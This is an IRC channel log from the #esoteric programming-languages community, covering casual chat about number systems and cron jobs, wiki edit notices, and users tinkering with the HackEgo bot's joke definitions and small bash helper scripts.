03:16:41 The tachyon is rude and has no style, but gets away with it because of its speed. Taneb will invent it if he ever catches up. 03:16:49 ? alcubierre 03:16:50 alcubierre? ¯\(°​_o)/¯ 03:16:51 ? alcubierre drive 03:16:52 alcubierre drive? ¯\(°​_o)/¯ 03:16:53 <\oren\> instead of blocking at the browser or router level, block at the DNS level 03:16:54 er 03:17:44 <\oren\> we could have a DNS server that redirects advertisment urls to dev null 03:32:28 -!- sleffy has joined. 03:32:39 oerjan: You can do commas. I just changed it to "37 9 7,17,27 * *". 03:33:04 fizzie: yes, but i said "less than twice a month" 03:33:04 (And since the tool is friendly enough to return 0 when it actually did something, put the webserver restart in an if.) 03:33:28 that would work too 03:35:53 I'm guessing for more complicated schedules than you can write in the crontab syntax, you'd just have it run often (say daily), and make the script decide. 03:37:06 Huh, my crontab on esolangs.org has a thing that appends echo (TZ=C date --rfc-3339=seconds | sed -e 's/+00:00//'): (/sbin/ifconfig eth0 | grep 'TX bytes') to a file once a day at midnight. I wonder what that's all about. 03:37:27 There's lines in that file from 2014-07-25 onwards. 03:37:55 I'm guessing it was some sort of a poor man's bandwidth logging mechanism. 03:52:52 TZ=C? That seems like a weird way of specifying that time zone. 03:53:27 Per POSIX, that is a timezone that is UTC+0 and named "C". 04:24:14 -!- Zarutian has quit (Quit: Zarutian). 04:28:23 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 04:28:32 -!- hppavilion[2] has quit (Ping timeout: 255 seconds). 04:28:32 -!- hppavilion[1] has joined. 04:29:42 -!- hppavilion[2] has joined. 04:46:45 -!- hppavilion[2] has quit (Ping timeout: 260 seconds). 04:46:59 -!- hppavilion[2] has joined. 04:47:20 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 04:47:54 -!- hppavilion[1] has joined. 04:55:19 -!- sirnaysayer has quit (Quit: zonkzonk). 04:55:48 -!- sirnaysayer has joined. 04:57:20 -!- hppavilion[2] has quit (Ping timeout: 255 seconds). 04:57:47 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 04:58:10 -!- hppavilion[1] has joined. 04:58:11 -!- hppavilion[2] has joined. 05:00:19 hppavilion[2]: *cough* 05:08:23 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 05:08:45 -!- hppavilion[1] has joined. 05:08:51 -!- hppavilion[2] has quit (Ping timeout: 260 seconds). 05:09:46 -!- hppavilion[2] has joined. 05:26:07 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 05:26:13 -!- hppavilion[1] has joined. 05:26:35 -!- hppavilion[2] has quit (Ping timeout: 260 seconds). 05:46:45 -!- DHeadshot has joined. 06:01:37 -!- oerjan has quit (Ping timeout: 264 seconds). 06:08:23 -!- hppavilion[2] has joined. 06:11:20 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 06:13:43 -!- hppavilion[1] has joined. 06:16:05 -!- hppavilion[2] has quit (Ping timeout: 255 seconds). 06:18:33 -!- hppavilion[2] has joined. 06:19:57 ##fix_your_connection 06:20:35 Predicted ping timeout... now! 06:21:02 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 06:21:03 No, wait... now! 06:21:06 agh 06:21:08 one second late 06:21:11 knew it was coming tho 06:21:12 :P 06:32:26 -!- hppavilion[1] has joined. 06:34:32 -!- hppavilion[2] has quit (Ping timeout: 255 seconds). 06:46:10 -!- hppavilion[2] has joined. 06:48:53 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 06:54:35 -!- hppavilion[1] has joined. 06:55:41 -!- hppavilion[2] has quit (Ping timeout: 255 seconds). 07:00:05 -!- FreeFull has quit. 07:08:09 -!- DHeadshot has quit (Ping timeout: 245 seconds). 07:11:45 -!- hppavilion[2] has joined. 07:13:14 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 07:18:11 @tell oerjan You should see a doctor if that cough persists 07:18:11 Consider it noted. 07:19:05 -!- hppavilion[2] has quit (Quit: HRII'FHALMA MNAHN'K'YARNAK NGAH NILGH'RI'BTHNKNYTH). 07:45:55 -!- hppavilion[1] has joined. 07:46:05 -!- sleffy has quit (Ping timeout: 255 seconds). 07:54:29 I had the Wikipedia article for Gödel's Incompleteness Therems open 07:54:32 *Theorems 07:54:48 And I glanced at it and thought it said "Gödel's Incompetence Theorems" 07:54:52 -!- diginet_ has joined. 07:55:00 -!- diginet has quit (Ping timeout: 260 seconds). 07:55:28 -!- paul2520 has quit (Ping timeout: 260 seconds). 07:55:28 -!- catern has quit (Ping timeout: 260 seconds). 07:55:37 -!- Bowserinator has quit (Ping timeout: 256 seconds). 07:55:50 -!- paul2520 has joined. 07:55:56 -!- sftp has quit (Ping timeout: 260 seconds). 07:55:58 -!- deltab has quit (Ping timeout: 260 seconds). 07:56:01 -!- diginet_ has changed nick to diginet. 07:56:04 -!- paul2520 has quit (Changing host). 07:56:04 -!- paul2520 has joined. 07:56:11 -!- alercah has quit (Ping timeout: 256 seconds). 07:56:17 -!- Alfie275 has quit (Ping timeout: 268 seconds). 07:56:49 -!- alercah has joined. 07:56:56 -!- Alfie275 has joined. 07:56:57 -!- catern has joined. 07:57:24 -!- deltab has joined. 07:57:34 -!- erdic_ has joined. 07:57:41 -!- Bowserinator has joined. 07:57:43 -!- erdic has quit (Read error: Connection reset by peer). 07:57:58 -!- erdic_ has changed nick to erdic. 07:59:22 -!- sftp has joined. 08:13:07 -!- AnotherTest has joined. 08:17:14 -!- atslash has joined. 08:48:39 -!- sebbu2 has joined. 08:51:35 -!- sebbu has quit (Ping timeout: 241 seconds). 08:54:51 -!- hppavilion[2] has joined. 08:57:35 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 08:58:31 -!- hppavilion[1] has joined. 09:01:05 -!- hppavilion[2] has quit (Ping timeout: 260 seconds). 09:07:17 -!- hppavilion[2] has joined. 09:10:25 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 09:48:27 [wiki] [[Malbolge Unshackled]] M https://esolangs.org/w/index.php?diff=51662&oldid=51388 * Malbranche * (-72) /* Compatibility */ 10:03:22 -!- hppavilion[1] has joined. 10:05:23 -!- hppavilion[2] has quit (Ping timeout: 240 seconds). 10:13:46 -!- hppavilion[1] has quit (Ping timeout: 268 seconds). 10:34:11 -!- contrapumpkin has quit (Ping timeout: 252 seconds). 10:37:26 -!- propumpkin has joined. 10:45:45 -!- Seaser has joined. 10:46:57 -!- wob_jonas has joined. 10:48:03 ? vacuum tube 10:48:12 vacuum tube? ¯\(°​_o)/¯ 10:49:43 I want some stupid wisdom entry about how the London metro was completely evacuated after terrorists attacked it, and how the underground then behaved as vacuum trains, running with incredible speeds between the terminals as air resistance didn't slow them down. 10:49:54 But I'm not sure how to phrase it. 10:58:04 -!- hppavilion[1] has joined. 11:02:43 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 11:24:41 -!- Seaser has quit (Ping timeout: 268 seconds). 11:32:00 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 11:33:29 -!- boily has joined. 11:39:02 wisdom 11:39:03 rust//Rust is C++ as designed by the makers of Haskell. 11:58:04 -!- hppavilion[1] has joined. 12:00:42 -!- hppavilion[2] has joined. 12:02:53 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 12:06:26 hppavellon[3]. 12:06:41 wisdom 12:06:42 banana//Bananananananana BATMAN! 12:06:47 uh. 12:08:10 cwlprits banana 12:08:17 (is it mine?) 12:08:19 oerjän hppavilion[2̈] 12:08:51 int-ello. 12:08:54 it's 100% villainous 12:09:37 (50% in actuality, 50% by name) 12:10:28 ? lisp 12:10:29 lisp? ¯\(°​_o)/¯ 12:10:38 . o O ( I just read this: "Lisp doesn't" 12:10:45 "have this problem, but only because it throws out the baby with the bathwater" ) 12:13:08 -!- hppavilion[2] has quit (Read error: Connection reset by peer). 12:25:31 can babies take showers? 12:26:02 -!- boily has quit (Quit: STRUCK CHICKEN). 12:44:39 I removed another 9 completely unnecessary characters from my golf 12:48:17 [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=51663&oldid=51661 * Ais523 * (+21) /* B */ +[[But Is It Art?]] 12:58:55 -!- kiki has joined. 13:00:08 -!- atehwa has joined. 13:21:53 [wiki] [[But Is It Art?]] N https://esolangs.org/w/index.php?oldid=51664 * Ais523 * (+5251) new language! 13:22:36 [wiki] [[User:Ais523]] https://esolangs.org/w/index.php?diff=51665&oldid=51174 * Ais523 * (+20) +[[But Is It Art?]] 13:28:42 [wiki] [[But Is It Art?]] M https://esolangs.org/w/index.php?diff=51666&oldid=51664 * Int-e * (+1) /* Syntax */ presumably you meant this 13:33:01 fizzie: I can't log in to esolangs again. This time it says "There seems to be a problem with your login session; this action has been canceled as a precaution against session hijacking. Go back to the previous page, reload that page and then try again.". I'm accessing via http (not https). 13:35:33 so ais made another language 13:38:23 [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=51667&oldid=51663 * B jonas * (+29) 13:38:42 fizzie: hmm, but I can log in on https://esolangs.org/ so it seems like the problem is only with http 13:38:47 though it could be some client-side stuff 13:41:07 [wiki] [[V (DJMcMayhem)]] https://esolangs.org/w/index.php?diff=51668&oldid=50731 * B jonas * (+97) 13:44:15 oh dear 13:47:07 -!- Lord_of_Life has quit (Excess Flood). 13:48:01 -!- Lord_of_Life has joined. 14:00:22 -!- Seaser has joined. 14:01:43 -!- Lord_of_Life has quit (Excess Flood). 14:04:19 -!- augur has joined. 14:06:01 -!- Lord_of_Life has joined. 14:09:01 -!- Lord_of_Life has quit (Excess Flood). 14:09:33 b_jonas: I've noticed some funkiness with the session handling when it comes to mixing http and https, though I've definitely not gotten to the bottom of it. 14:10:22 fizzie: ok 14:15:22 -!- augur has quit (Remote host closed the connection). 14:15:54 -!- augur has joined. 14:20:26 -!- augur has quit (Ping timeout: 268 seconds). 14:30:55 -!- Seaser has quit (Ping timeout: 268 seconds). 14:35:20 -!- clog has quit (Ping timeout: 260 seconds). 14:41:21 -!- Seaser has joined. 14:50:19 [wiki] [[Semantic Brain]] https://esolangs.org/w/index.php?diff=51669&oldid=47236 * SilverWingedSeraph * (+16) /* Commands and Source Code */ Update to BrainFuck semantics. 14:50:49 sup 14:50:54 -!- ^_^v has joined. 14:52:23 [wiki] [[Semantic Brain]] M https://esolangs.org/w/index.php?diff=51670&oldid=51669 * SilverWingedSeraph * (+43) /* Commands and Source Code */ Clarify semantic equivalence. 14:54:27 sup 14:57:48 -!- hkgit03 has joined. 15:04:27 -!- moonythedwarf has joined. 15:04:29 On a scale of 1 to 10, how likely is it that this question is using binary? 15:04:42 (#xkcd spies are cheaters) 15:07:18 -!- Bowserinator has quit (Changing host). 15:07:18 -!- Bowserinator has joined. 15:09:38 ?? 15:12:57 1.1 15:14:21 -!- erkin has joined. 15:16:02 -!- hkgit03 has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 15:18:21 -!- clog has joined. 15:18:53 -!- Phantom_Hoover has joined. 15:23:41 moonythedwarf: I maintain that the answer is 2. 15:24:32 rdococ, (Cheater) lol 15:24:36 ? 15:24:53 oh, you didnt see the discussion in #xkcd? ok then 15:24:58 I didn't look in xkcd, or even #xkcd for that matter. 15:25:02 lol 15:25:07 Wanna hear my reasoning? 15:25:12 but yea, 2 is a good answer 15:25:20 nvm then 15:25:29 already heard the reasoning of 4 diffrent people in #xkcd for the number '2' 15:27:08 If I started to use the names of heroes of myth as codenames for tech stuff, and then I use bad design just so the naming can fit the family trees of those heros, how bad is that on a scale of 0 to 1? 15:27:35 heh 15:28:28 b_jonas: depends if it's on april fools day 15:28:50 rdococ: it lasts for way more than a day. 15:28:59 b_jonas, 10 15:29:04 ...ah. 15:29:13 1010. 15:29:29 have fun determining if that's binary 15:29:33 ^ 15:31:12 b_jonas, depends how large-scale the tech stuff is 15:31:56 moonythedwarf: uh 15:32:13 bad design in a program designed specifically to, idk, fart while skydiving without a parachute, is not as bad as bad design in an OS 15:41:26 I see 15:42:11 -!- Seaser has quit (Quit: Leaving). 15:43:04 -!- Seaser has joined. 15:44:26 -!- sease has joined. 15:47:20 -!- Seaser has quit (Ping timeout: 245 seconds). 15:48:47 xkcd 1578 heh 15:48:54 wrong server 15:58:36 -!- Seaser has joined. 16:02:11 -!- sease has quit (Ping timeout: 268 seconds). 16:15:52 -!- MoALTz has joined. 16:32:04 -!- sleffy has joined. 16:41:01 -!- sease has joined. 16:44:43 -!- Seaser has quit (Ping timeout: 240 seconds). 16:52:35 -!- Vorpal has quit (Ping timeout: 260 seconds). 16:55:18 -!- FreeFull has joined. 17:17:31 -!- Lord_of_Life has joined. 17:27:29 hm 17:31:10 -!- Seaser has joined. 17:33:43 -!- sease has quit (Ping timeout: 240 seconds). 17:36:13 ? 10 17:36:17 10? ¯\(°​_o)/¯ 17:36:45 le//rn 10//10 = 10 in every base 17:36:51 Learned '10': 10 = 10 in every base 17:44:42 -!- sease has joined. 17:48:22 -!- Seaser has quit (Ping timeout: 240 seconds). 17:55:24 -!- DHeadshot has joined. 17:59:40 -!- S1 has joined. 18:13:31 ? 10 18:13:35 10 = 10 in every base 18:13:38 oh yay it wasn't reverted 18:21:52 What about base 1 18:26:39 [wiki] [[Talk:But Is It Art?]] N https://esolangs.org/w/index.php?oldid=51671 * Int-e * (+629) Created page with "This language fails to be IO-complete in a, perhaps, interesting way: Whenever (I,O) is a valid input/output pair, then so is (Ik,Ok) for any k > 0. So,..." 18:34:38 -!- hppavilion[1] has joined. 18:36:18 -!- augur has joined. 18:40:23 -!- xfix_ has quit (Remote host closed the connection). 19:01:31 42 19:02:31 Where do I get these CRISPR Vim keybindings‽ 19:16:49 I have an idea for independent random variables 19:20:08 -!- Phantom_Hoover has quit (Ping timeout: 268 seconds). 19:20:15 -!- Remavas-PC has joined. 19:25:22 -!- sleffy has quit (Ping timeout: 260 seconds). 19:26:57 -!- sleffy has joined. 19:29:13 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 19:30:07 -!- hppavilion[1] has joined. 19:31:23 -!- MoALTz has quit (Quit: Leaving). 19:33:42 functions that create independent random variables will take the random results as arguments and return their result 19:38:01 (these are independent random bits, btw) 19:39:43 -!- augur has quit (Ping timeout: 240 seconds). 19:42:04 To compute the percentage of the function returning true, you would enumerate in binary style 19:42:30 and to compare two such functions, enumerate both in sync and see if they equal at every point 19:42:57 * hppavilion[1] . o O ( Is there an analog of Bayes's Theorem for probability amplitudes ) 19:43:06 * hppavilion[1] . o O ( *+? ) 19:44:01 . o O ( Hppavilion's theorem ) 19:44:34 Just square the amplitudes :) 19:45:02 Remavas-PC: ...yeah, I figured it'd probably boil down to something along the lines of "Yes, there is. It's the exact same though." 19:45:22 :P 19:45:23 Remavas-PC: Wait, squaring the amplitudes or squaring the absolute values? 19:45:29 The Remavas-Hppavilion Theorem :P 19:45:34 (or is the absolute value the amplitude part?) 19:45:38 does that make a difference? 19:45:50 Remavas-PC: Yeah. i^2 = -1, |i|^2 = 1 19:45:53 Big difference. 19:45:58 Like, a difference of *2*! 19:46:07 * hppavilion[1] whistles 19:46:18 a multiplicational difference of -1 19:46:36 rdococ: Difference = subtraction 19:46:43 Or, well 19:47:02 modulus squared 19:47:09 Difference ∝ Subtraction 19:47:10 so absolute value squared 19:47:10 hppavilion[1]: I read some cultures view the number line logarithmically as opposed to linearly. imagine the implications of that. 19:47:11 yea 19:47:21 rdococ: That's just the number logarithm. 19:47:23 Difference = |subtraction| 19:47:33 rdococ: Also, what do you mean by that? 19:47:38 hppavilion[1]: yes but imagine a culture whose math was based on numbers like that 19:47:41 Difference ∝ sin(subtraction) 19:47:51 :P 19:47:52 rdococ: But what does that actually mean? 19:48:24 hppavilion[1]: Say you asked them a question like, "What is the number half way between 1 and 9?" I read that some of them would say "3" rather than "5", because 3x3 is 9 19:48:34 rdococ: Ah, yes, I see. 19:48:56 that seems weird 19:48:57 rdococ: That sounds more like a different meaning of the phrase "half way between" than a different type of number 19:48:57 now, imagine a technologically advanced culture whose basic arithmetic is based on that. 19:49:13 That would imly they find multipication more important than addition 19:49:23 rdococ: Our arithmetic is based on that, but we call it "roots". 19:49:42 hppavilion[1]: You mean they're the roots of arithmetic? :P 19:49:42 We just call it exponents. 19:49:58 We use exponents a lot. We just don't think of them _first_ when you say "halfway" 19:50:03 rdococ: No I do not. 19:50:04 I know that. 19:50:08 rdococ: Go sit in the shame corner. 19:50:12 aw 19:50:12 ? #esoteric 19:50:14 ​#esoteric is the only channel that exists. After monqy left it became slightly off-centër. It's a 7-codimensional hyperenchilada about 30 m (100 ft) across. oerjan seems to be making a lawn in the northern part, but it keeps getting dug up by free ranging moons. Currently located in the Atlantis Exclusion Zone. 19:50:14 :P 19:50:37 How many vertices does a 7-codimensional hyperenchildada have again? 19:50:43 a lot 19:50:54 [answer: that's actually meaningless] 19:51:16 [Not the hyperenchilada part; the "7-codimensional" without giving what it's codimensional with respect /to/.] 19:51:23 nice to know 19:51:27 7-dimesnional then 19:51:32 Remavas-PC: No 19:51:35 for our purpose :P 19:51:39 Remavas-PC: It says "7-codimensional" 19:51:52 Remavas-PC: It probably means with respect to our 4-dimensional outerverse. 19:52:13 . o O ( codimension? ) 19:52:32 ? ndecension 19:52:33 ndecension? ¯\(°​_o)/¯ 19:53:07 rdococ: Lookitup 19:53:36 rdococ: Also, most of our senses are logarithmic; "are there 1 or 2 lions in those bushes‽" is a lot more important a question than "are there 71 or 72 lions in those bushes‽" 19:53:44 hppavilion[1]: That is true. 19:53:53 (but infinitely less important than "are there 41 or 42 lions in those bushes‽", but that's a special case) 19:54:10 Our eyes operate on logarithmic brightness levels 19:54:18 Okay, okay, we're logarithmic. 19:54:25 of course 42! 19:54:29 :P 19:54:29 But we still count on a linear number line. 19:54:58 So, imagine a culture whose number line is 1 - 2 - 4 - 8 - 16 - ... or even 1 - 3 - 9 - 27 - ... 19:55:17 I'm going to model a normal 2-Enchilada as a Lens-based Prysm 19:55:31 Sounds nice. 19:55:40 I can't... 19:55:44 (a Prysm being the union of prisms and cylinders) 19:55:50 Remavas-PC: Hm? 19:55:53 Because how do they count sheep then :) 19:56:21 Remavas-PC: One sheep, two sheep, let them reproduce! Four sheep, eight sheep, let them reproduce! Sixteen sheep, thirty two sheep, let them reproduce! 19:56:55 Remavas-PC: and 32 - 16 = 1 :P 19:57:52 We all should count using prime numbers...duh 19:58:04 :) 19:58:24 rdococ: That's a wet dream though 19:58:38 :P 19:58:38 Do androids wet dream of electric sheep factories? 19:58:43 lol 19:58:50 Factory factories. 19:58:53 ? factory factory 19:58:54 factory factory? ¯\(°​_o)/¯ 19:58:56 Answer: No; if they had a wet dream, they would short circuit and die 19:58:57 ? metafactory 19:58:58 metafactory? ¯\(°​_o)/¯ 19:59:00 har har 19:59:03 rdococ: ...pervert 19:59:09 ~? die 19:59:10 Har. har. har. 19:59:14 ? die 19:59:15 die? ¯\(°​_o)/¯ 19:59:29 -!- Phantom_Hoover has joined. 20:00:09 HackEgo is immortal 20:00:26 Has HackEgo got a brainf*ck interpreter? 20:00:44 Remavas-PC: Yeah, probably 20:00:50 Remavas-PC: fungot defiantly does. 20:00:50 hppavilion[1]: kabuto: the shinto sun goddess amaterasu, he soon turned it into a locked shop. therefore, my child--i should say miladi? whatever is inside it. 20:01:01 Not definitely. Defiantly. 20:01:27 ? Defiant-ly 20:01:28 Defiant-ly? ¯\(°​_o)/¯ 20:02:03 rdococ: In my culture, the number line is 1.0 - 2.718281828459045 - 7.3890560989306495 - 20.085536923187664 - 54.59815003314423 - 148.41315910257657 - 403.428793492735 20:02:14 Remavas-PC: Also, please, refer to the language by its proper name. 20:02:22 I was kicked once 20:02:25 hppavilion[1]: Nice. Natural exponentiation. 20:02:27 Remavas-PC: From #esoteric? 20:02:31 Yeah 20:02:35 Remavas-PC: By whom‽ 20:02:44 oeljan or similiar 20:02:48 oerjan 20:02:51 yeah 20:02:55 I looked it up in my logs 20:03:11 it was for saying cun with a t on the end 20:03:14 I said an unnice word :P 20:03:23 which is strange, because fuck is allowed (e.g. brainfuck) 20:03:57 anyway 20:04:01 I will invent a new swear word 20:04:04 phrel 20:04:07 ? phrel 20:04:08 phrel? ¯\(°​_o)/¯ 20:04:33 phrel = a fluid that holds seeds 20:04:39 really? 20:04:42 no 20:04:44 :P 20:04:46 ha 20:04:53 lol 20:05:13 le//rn phrel//Phrel is a swear word rdocscovered in 2018. It refers to a fluid that holds seeds. 20:05:15 Learned 'phrel': Phrel is a swear word rdocscovered in 2018. It refers to a fluid that holds seeds. 20:05:34 rdococ: Actually, the above isn't quite true 20:05:39 ? 20:05:48 Can you look up phrel now? 20:05:54 By HackEgo? 20:05:56 Only those weird fuckers to the north use natural counting for numbers 20:05:56 :) 20:06:02 Our number line here goes 1.0 - 2.6382270745053704 - 6.9602420966531655 - 18.362699144502407 - 48.44497004402285 - 127.80883159374271 - 337.1887198715094 20:06:08 hppavilion[1]: Heh. 20:06:11 (the meaning of that is left as an exercise to the reader) 20:06:16 But natural counting is natural! 20:06:28 hah, we count using powers of e! 20:06:40 and for speed we use fractions of c! 20:06:47 so practical 20:06:56 I don't see how you can all put up with your fancy fractions. 20:07:08 mass is given in eV 20:07:13 My species counts with powers of 2: nice and simple. It makes sense - it's the cell division constant. 20:07:56 Mayans counted using powers of 60 :P 20:08:07 @oeis 1.0 2.6382270745053704 6.9602420966531655 18.362699144502407 20:08:08 Sequence not found. 20:08:11 aw. 20:08:24 @oeis 1 2 1 2 1 20:08:40 crash? 20:08:41 Remavas-PC: Your culture is odd. Just count with powers of 2! 20:08:48 oops. 20:08:59 @oeis 1.0 2.0 1.0 2.0 20:09:07 Plugin oeis' failed with: <> 20:09:12 yup 20:09:13 crash 20:09:30 Oops. 20:09:45 ? sorry 20:09:46 sorry? ¯\(°​_o)/¯ 20:10:43 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 20:11:07 Plugin oeis' failed with: <> 20:19:05 -!- hppavilion[1] has joined. 20:21:56 -!- wob_jonas has joined. 20:24:13 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 20:27:24 -!- xfix has joined. 20:27:37 -!- hppavilion[1] has joined. 20:27:52 le//rn codependency 20:27:53 Usage: le/[/]rn // 20:27:57 ? codependency 20:27:58 Codependency is a programmer disease caused by having too much code pending. 20:28:09 Ha ha ha. 20:33:27 -!- orby has joined. 20:34:03 ? cocoa 20:34:04 cocoa? ¯\(°​_o)/¯ 20:34:08 ? a 20:34:09 A is a village in Norway. The BBC invented it by not understanding things on top of letters. 20:34:24 le//rn cocoa//A is a village in Norway. The BBC invented it by not understanding things on top of letters. 20:34:26 Learned 'cocoa': A is a village in Norway. The BBC invented it by not understanding things on top of letters. 20:34:33 [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51672&oldid=51646 * Orby * (+150) 20:35:02 ? supersymmetry 20:35:04 supersymmetry? ¯\(°​_o)/¯ 20:35:31 le//rn supersymmetry//Supersymmetry is an obsessive cleaning disorder only diagnosed to physicists. 20:35:33 Learned 'supersymmetry': Supersymmetry is an obsessive cleaning disorder only diagnosed to physicists. 20:36:05 helloteric; what do you think about these? 20:36:48 ? IP 20:36:49 IP? ¯\(°​_o)/¯ 20:37:25 -!- S1 has quit (Quit: Leaving). 20:37:26 le//rn IP//Your IP address is a pointer to the current instruction. 20:37:28 Learned 'ip': Your IP address is a pointer to the current instruction. 20:38:38 Instruction pointer address 20:38:55 yes 20:39:06 le//rn IP//Your IP address is the address of the pointer to the current instruction. 20:39:08 Relearned 'ip': Your IP address is the address of the pointer to the current instruction. 20:40:17 -!- Vorpal has joined. 20:40:43 -!- sleffy has quit (Ping timeout: 240 seconds). 20:45:19 leran 20:45:19 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: leran: not found 20:45:25 learm 20:45:26 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: learm: not found 20:46:57 wtf they changed met.hu or something? 20:52:37 -!- MDude has quit (Quit: Going offline, see ya! (www.adiirc.com)). 20:53:57 where did they hide the daily textual whole country predictions? 20:54:22 ? nyan 20:54:23 nyan? ¯\(°​_o)/¯ 20:54:49 ok, found it, but damn them for the link churn and worse interface and stupid javascript stuff 20:55:27 ? frozen 20:55:28 frozen? ¯\(°​_o)/¯ 20:55:28 ? cofrozen 20:55:29 cofrozen? ¯\(°​_o)/¯ 20:55:57 ? rdocscover 20:55:58 rdocscover? ¯\(°​_o)/¯ 20:55:59 ? rdocscovery 20:56:00 Rdocscoveries include footballs, how bored one person can get, and Budapest. 21:00:26 -!- AnotherTest has quit (Ping timeout: 255 seconds). 21:01:12 -!- AnotherTest has joined. 21:01:50 -!- moonythedwarf has quit (Remote host closed the connection). 21:06:55 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 21:07:17 -!- hppavilion[1] has joined. 21:10:41 argh 21:11:54 I want to buy cheap earbud style headphones with an analog dial control built in, but they're both rare and very hard to search for, because "volume control" usually refers to remote controlling your phone with signals from switches on the headphone hardware, and "dial" usually refers to remote controlling phone calls on your phone with signals fro 21:11:54 m switches on the headphone hardware. 21:15:25 * hppavilion[1] ♪ ♩ O ( Is it possible to have a cycloid 21:15:28 Whoops 21:15:33 Premature sendulation 21:15:35 -!- augur has joined. 21:16:30 * hppavilion[1] ♩ 𝅗𝅥 𝅝 ( Is it possible to have a cycloid wave as the encoding of some tone ) 21:16:55 (or more accurately, does it sound good in a distinct way?) 21:18:00 One sheep, two sheep, four sheep, eight sheep. 21:18:11 Sixteen sheep, thirty two sheep, sixty four sheep, one hundred and twenty eight sheep. 21:18:24 ? 21:18:25 ​? ¯\(°​_o)/¯ 21:18:39 ?  21:18:40 ​ is the prefix to greatness. 21:18:43 ? _ 21:18:44 ​_? ¯\(°​_o)/¯ 21:18:47 ? _- 21:18:48 ​_-? ¯\(°​_o)/¯ 21:18:51 ? _-z 21:18:52 ​_-z? ¯\(°​_o)/¯ 21:19:58 rdococ: Did you happen to have some precooked canned pork for lunch? 21:20:12 ? 21:20:16 no? 21:20:39 ? emoticon 21:20:40 emoticon? ¯\(°​_o)/¯ 21:21:06 [wiki] [[Special:Log/newusers]] create * Xav737 * New user account 21:21:31 le/rn emoticon//emoticon: ¯\(°​_o)/¯ 21:21:33 Learned 'emoticon': emoticon: ¯\(°​_o)/¯ 21:21:41 ? emoticon 21:21:42 emoticon: ¯\(°​_o)/¯ 21:21:47 -!- augur_ has joined. 21:22:02 -!- augur has quit (Ping timeout: 260 seconds). 21:22:13 paste lowercase2 21:22:15 https://hackego.esolangs.org/fshg/index.cgi/file/tip/lowercase2 21:22:30 paste bin/lowercase2 21:22:31 https://hackego.esolangs.org/fshg/index.cgi/file/tip/bin/lowercase2 21:22:44 paste bin/lowercase 21:22:45 https://hackego.esolangs.org/fshg/index.cgi/file/tip/bin/lowercase 21:23:49 lowercase2 WÅLRØSŒ 21:23:50 wålrøsœ 21:23:59 lowercase2 WÅŁRØSŒ 21:24:00 wåŁrøsœ 21:24:04 -!- augur has joined. 21:24:14 wælcem 21:25:46 sled bin/lowercase2//s/Ý/ÝŁ/ 21:25:48 bin/lowercase2//#!/bin/bash \ print_args_or_input "@" | tr A-Z a-z | LANG=en_NZ.UTF-8 sed 'y/ØÅÆŒÞÐÄÖÜÁÉÍÓÚÝŁ/øåæœþðäöüáéíóúý/' 21:26:04 -!- augur_ has quit (Read error: Connection reset by peer). 21:26:16 þoo 21:26:17 :P 21:26:18 sled bin/lowercase2//s/ý/ýł/ 21:26:19 bin/lowercase2//#!/bin/bash \ print_args_or_input "@" | tr A-Z a-z | LANG=en_NZ.UTF-8 sed 'y/ØÅÆŒÞÐÄÖÜÁÉÍÓÚÝŁ/øåæœþðäöüáéíóúýł/' 21:26:20 :þ 21:26:23 ? þorn 21:26:24 ​þorn? ¯\(°​_o)/¯ 21:26:53 le//rn þorn grows around roses. 21:26:53 Usage: le/[/]rn // 21:27:01 le//rn þorn//Þorn grows around roses. 21:27:03 Learned 'þorn': Þorn grows around roses. 21:27:55 rdococ: I think the standard pun involving Þorn is 'porn' 21:27:59 ? Þorn 21:28:00 ​Þorn? ¯\(°​_o)/¯ 21:28:06 cat bin/? 21:28:07 ​#!/bin/bash \ topic=(echo "1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *//") \ topic1=(echo ''"topic" | sed 's/^\(\|//') \ topic2=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ $$"_topic2"_ = "_ngevd"_$$ -a $$-e ngevd$$ ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic"; \ elif [ -e "$topic 21:28:28 sled bin/¿//s/lowercase/lowercase2/ 21:28:29 bin/¿//\? "$@" | rev | tac 21:28:35 ...what 21:28:36 Oh 21:28:41 sled bin/?//s/lowercase/lowercase2/ 21:28:43 bin/?//#!/bin/bash \ topic=$(echo "$1" | lowercase2 | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo ''"$topic" | sed 's/^$$\|$$//') \ topic2=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ $$"_topic2"_ = "_ngevd"_$$ -a $$-e ngevd$$ ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic"; \ elif [ -e "$ 21:28:47 ? Þorn 21:28:48 ​Þorn grows around roses. 21:28:53 ? þorn 21:28:54 ​Þorn grows around roses. 21:29:21 (Next up: Greek) 21:29:26 ? y 21:29:27 Y is a commune in France. There's nothing funny about this. 21:31:18 (Hm, should ? be case sensitive if possible, but fallback on lowercasing? So if the existent wisdom entries are {a: "hi.", b: "fuck off", A: "HI!"}, ? a yields "hi.", ? b yields "fuck off", ? A yields "HI!", and ? B yields "fuck off" 21:32:15 eye 21:32:17 ye 21:32:22 ? Wye 21:32:24 Wye? ¯$$°​_o)/¯ 